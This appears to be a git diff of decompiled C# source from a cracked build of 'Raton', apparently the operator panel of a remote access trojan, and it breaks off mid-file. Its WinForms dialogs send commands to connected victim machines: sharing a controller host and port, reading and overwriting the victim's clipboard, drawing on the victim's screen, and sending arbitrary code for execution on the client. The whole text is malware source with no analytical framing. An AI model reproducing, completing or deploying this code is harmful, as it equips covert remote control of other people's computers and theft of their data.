this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (proxyDialog);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Proxy";
|
||||
this.Load += new EventHandler(this.proxyDialog_Load);
|
||||
this.numericUpDown1.EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,125 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Dialogs.selectFriend
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using RatonAccessTool.Controls;
|
||||
using RatonBack;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Dialogs;
|
||||
|
||||
public class selectFriend : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ImageList imageList1;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader2;
|
||||
|
||||
public string user { get; set; }
|
||||
|
||||
public string deviceid { get; set; }
|
||||
|
||||
public selectFriend()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private async void selectFriend_Load(object sender, EventArgs e) => await this.LoadFriends();
|
||||
|
||||
private async Task LoadFriends()
|
||||
{
|
||||
(int, string[], string) friends = await BackendClient.GetFriends(this.deviceid, this.user);
|
||||
this.aeroListView1.Items.Clear();
|
||||
if (friends.Item2 == null)
|
||||
return;
|
||||
foreach (string a in friends.Item2)
|
||||
{
|
||||
string text = a;
|
||||
int num = 0;
|
||||
if (string.Equals(a, "osaka", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
text = "osaka";
|
||||
num = 1;
|
||||
}
|
||||
this.aeroListView1.Items.Add(new ListViewItem(text)
|
||||
{
|
||||
ImageIndex = num
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void aeroListView1_DoubleClick(object sender, EventArgs e)
|
||||
{
|
||||
this.DialogResult = DialogResult.OK;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (selectFriend));
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.SuspendLayout();
|
||||
this.aeroListView1.BorderStyle = BorderStyle.None;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[1]
|
||||
{
|
||||
this.columnHeader2
|
||||
});
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(355, 337);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.DoubleClick += new EventHandler(this.aeroListView1_DoubleClick);
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "uservro.jpg");
|
||||
this.imageList1.Images.SetKeyName(1, "f7aa4c74ac8f12b05861836c216400e6.jpg");
|
||||
this.columnHeader1.Text = "Double click to select a friend";
|
||||
this.columnHeader1.Width = 355;
|
||||
this.columnHeader2.Text = "Your friends";
|
||||
this.columnHeader2.Width = 355;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(355, 337);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (selectFriend);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "Choose a friend";
|
||||
this.Load += new EventHandler(this.selectFriend_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,139 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Dialogs.shareHost
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Dialogs;
|
||||
|
||||
public class shareHost : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private TextBoxButton textBoxButton1;
|
||||
private Timer timer1;
|
||||
private TextBox textBox2;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public shareHost()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void textBoxButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(this.textBox1.Text) || !int.TryParse(this.textBox2.Text, out int _))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Please insert a valid host to share", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Share");
|
||||
pack.SetString("Host", this.textBox1.Text);
|
||||
pack.SetString("Port", this.textBox2.Text);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num2 = (int) Messenger.MessageBox("Host shared successfully", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
|
||||
private void shareHost_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.timer1.Stop();
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (shareHost));
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBoxButton1 = new TextBoxButton();
|
||||
this.textBox2 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(12, 31 /*0x1F*/);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(264, 22);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(13, 12);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(31 /*0x1F*/, 15);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Host";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(279, 13);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(29, 15);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Port";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBoxButton1.BackColor = Color.FromArgb(32 /*0x20*/, 32 /*0x20*/, 32 /*0x20*/);
|
||||
this.textBoxButton1.Cursor = Cursors.Hand;
|
||||
this.textBoxButton1.FlatAppearance.BorderSize = 0;
|
||||
this.textBoxButton1.FlatStyle = FlatStyle.Flat;
|
||||
this.textBoxButton1.Font = new Font("Microsoft JhengHei", 9f);
|
||||
this.textBoxButton1.ForeColor = Color.White;
|
||||
this.textBoxButton1.Location = new Point(13, 60);
|
||||
this.textBoxButton1.Name = "textBoxButton1";
|
||||
this.textBoxButton1.Size = new Size(337, 48 /*0x30*/);
|
||||
this.textBoxButton1.TabIndex = 4;
|
||||
this.textBoxButton1.Text = "Share host";
|
||||
this.textBoxButton1.UseVisualStyleBackColor = false;
|
||||
this.textBoxButton1.Click += new EventHandler(this.textBoxButton1_Click);
|
||||
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox2.Location = new Point(283, 31 /*0x1F*/);
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(67, 22);
|
||||
this.textBox2.TabIndex = 5;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(363, 132);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBoxButton1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (shareHost);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (shareHost);
|
||||
this.Load += new EventHandler(this.shareHost_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.DrawStroke
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class DrawStroke
|
||||
{
|
||||
public int X1 { get; set; }
|
||||
|
||||
public int Y1 { get; set; }
|
||||
|
||||
public int X2 { get; set; }
|
||||
|
||||
public int Y2 { get; set; }
|
||||
|
||||
public int Size { get; set; }
|
||||
|
||||
public string Color { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonClipboard
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonClipboard : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
private TextBox textBox2;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonClipboard()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonClipboard_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.textBox1.Text != null || this.textBox1.TextLength > 1)
|
||||
{
|
||||
Clipboard.SetText(this.textBox1.Text);
|
||||
}
|
||||
else
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("The clipboard is null", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Clipboard");
|
||||
pack.SetString("Text", this.textBox2.Text);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num = (int) Messenger.MessageBox("Sent to the clipboard", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonClipboard));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.textBox1 = new TextBox();
|
||||
this.textBox2 = new TextBox();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.textBox1.Location = new Point(14, 28);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.Size = new Size(564, 21);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.textBox1.Text = "Waiting...";
|
||||
this.textBox2.Location = new Point(12, 123);
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(563, 21);
|
||||
this.textBox2.TabIndex = 1;
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_clipboard_checkmark_24_filled_1_;
|
||||
this.button1.IconSize = 16 /*0x10*/;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(15, 55);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(563, 47);
|
||||
this.button1.TabIndex = 2;
|
||||
this.button1.Text = "Copy text";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_clipboard_checkmark_24_filled_1_1;
|
||||
this.button2.IconSize = 16 /*0x10*/;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(11, 150);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(564, 47);
|
||||
this.button2.TabIndex = 3;
|
||||
this.button2.Text = "Send to clipboard";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(106, 14);
|
||||
this.label1.TabIndex = 4;
|
||||
this.label1.Text = "Get text from client";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(12, 105);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(100, 14);
|
||||
this.label2.TabIndex = 5;
|
||||
this.label2.Text = "Send text to client";
|
||||
this.AutoScaleDimensions = new SizeF(7f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(589, 209);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Font = new Font("Microsoft JhengHei UI", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonClipboard);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonClipboard);
|
||||
this.Load += new EventHandler(this.ratonClipboard_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,208 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonDrawing
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Reflection;
|
||||
using System.Text.Json;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonDrawing : Form
|
||||
{
|
||||
private bool drawing;
|
||||
private Point lastPoint;
|
||||
private Bitmap canvas;
|
||||
private readonly List<DrawStroke> strokes = new List<DrawStroke>();
|
||||
private readonly Color currentColor = Color.Red;
|
||||
private readonly int currentSize = 3;
|
||||
private IContainer components;
|
||||
private Panel panel1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonDrawing()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
ratonDrawing.EnableDoubleBuffer((Control) this.panel1);
|
||||
this.panel1.MouseDown += new MouseEventHandler(this.DrawPanel_MouseDown);
|
||||
this.panel1.MouseMove += new MouseEventHandler(this.DrawPanel_MouseMove);
|
||||
this.panel1.MouseUp += new MouseEventHandler(this.DrawPanel_MouseUp);
|
||||
this.panel1.Paint += new PaintEventHandler(this.DrawPanel_Paint);
|
||||
this.panel1.Resize += new EventHandler(this.DrawPanel_Resize);
|
||||
this.CreateCanvas();
|
||||
}
|
||||
|
||||
private void CreateCanvas()
|
||||
{
|
||||
if (this.panel1.Width <= 0 || this.panel1.Height <= 0)
|
||||
return;
|
||||
this.canvas?.Dispose();
|
||||
this.canvas = new Bitmap(this.panel1.Width, this.panel1.Height);
|
||||
}
|
||||
|
||||
private void DrawPanel_Resize(object sender, EventArgs e)
|
||||
{
|
||||
if (this.canvas == null)
|
||||
return;
|
||||
Bitmap bitmap = new Bitmap(this.panel1.Width, this.panel1.Height);
|
||||
using (Graphics graphics = Graphics.FromImage((Image) bitmap))
|
||||
graphics.DrawImage((Image) this.canvas, 0, 0);
|
||||
this.canvas.Dispose();
|
||||
this.canvas = bitmap;
|
||||
this.panel1.Invalidate();
|
||||
}
|
||||
|
||||
private void DrawPanel_MouseDown(object sender, MouseEventArgs e)
|
||||
{
|
||||
this.drawing = true;
|
||||
this.panel1.Capture = true;
|
||||
this.lastPoint = e.Location;
|
||||
}
|
||||
|
||||
private void DrawPanel_MouseUp(object sender, MouseEventArgs e)
|
||||
{
|
||||
this.drawing = false;
|
||||
this.panel1.Capture = false;
|
||||
}
|
||||
|
||||
private void DrawPanel_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (!this.drawing || this.canvas == null)
|
||||
return;
|
||||
using (Graphics graphics = Graphics.FromImage((Image) this.canvas))
|
||||
{
|
||||
using (Pen pen = new Pen(this.currentColor, (float) this.currentSize))
|
||||
{
|
||||
pen.StartCap = LineCap.Round;
|
||||
pen.EndCap = LineCap.Round;
|
||||
graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
graphics.DrawLine(pen, this.lastPoint, e.Location);
|
||||
}
|
||||
}
|
||||
List<DrawStroke> strokes = this.strokes;
|
||||
DrawStroke drawStroke = new DrawStroke();
|
||||
drawStroke.X1 = this.lastPoint.X;
|
||||
drawStroke.Y1 = this.lastPoint.Y;
|
||||
Point location = e.Location;
|
||||
drawStroke.X2 = location.X;
|
||||
location = e.Location;
|
||||
drawStroke.Y2 = location.Y;
|
||||
drawStroke.Size = this.currentSize;
|
||||
drawStroke.Color = this.currentColor.Name;
|
||||
strokes.Add(drawStroke);
|
||||
this.lastPoint = e.Location;
|
||||
this.panel1.Invalidate();
|
||||
}
|
||||
|
||||
private void DrawPanel_Paint(object sender, PaintEventArgs e)
|
||||
{
|
||||
if (this.canvas == null)
|
||||
return;
|
||||
e.Graphics.DrawImageUnscaled((Image) this.canvas, 0, 0);
|
||||
}
|
||||
|
||||
private void ratonDrawing_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.timer1.Stop();
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void rgbBuildButton1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.strokes.Count == 0)
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Draw something first", "Empty", icon: MessageBoxIcon.Exclamation);
|
||||
}
|
||||
else
|
||||
{
|
||||
string str = JsonSerializer.Serialize<List<DrawStroke>>(this.strokes);
|
||||
Console.WriteLine(str);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Draw");
|
||||
pack.SetString("data", str);
|
||||
pack.SetInt("w", this.panel1.Width);
|
||||
pack.SetInt("h", this.panel1.Height);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.strokes.Clear();
|
||||
int num2 = (int) Messenger.MessageBox("Nice drawing vro, sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
|
||||
private static void EnableDoubleBuffer(Control c)
|
||||
{
|
||||
typeof (Control).GetProperty("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) c, (object) true);
|
||||
}
|
||||
|
||||
private void panel1_Paint(object sender, PaintEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDrawing));
|
||||
this.panel1 = new Panel();
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.panel1.Location = new Point(-3, 0);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new Size(831, 473);
|
||||
this.panel1.TabIndex = 0;
|
||||
this.panel1.Paint += new PaintEventHandler(this.panel1_Paint);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_status_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(13, 480);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(801, 46);
|
||||
this.rgbBuildButton1.TabIndex = 1;
|
||||
this.rgbBuildButton1.Text = "Send drawing";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.rgbBuildButton1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(826, 543);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.panel1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonDrawing);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = "raton";
|
||||
this.Load += new EventHandler(this.ratonDrawing_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,165 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonExecuteCode
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using FastColoredTextBoxNS;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonExecuteCode : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private FastColoredTextBox fastColoredTextBox1;
|
||||
private RgbBuildButton button1;
|
||||
private Timer timer1;
|
||||
public FlatComboBox flatComboBox1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonExecuteCode()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
string str = this.fastColoredTextBox1.Text.Replace("\r\n", "\n");
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Execute");
|
||||
pack.SetString("Type", this.flatComboBox1.SelectedItem.ToString());
|
||||
pack.SetString("Code", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num = (int) Messenger.MessageBox("Code sent successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonExecuteCode_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.fastColoredTextBox1.BackColor = Color.FromArgb(49, 51, 56);
|
||||
}
|
||||
|
||||
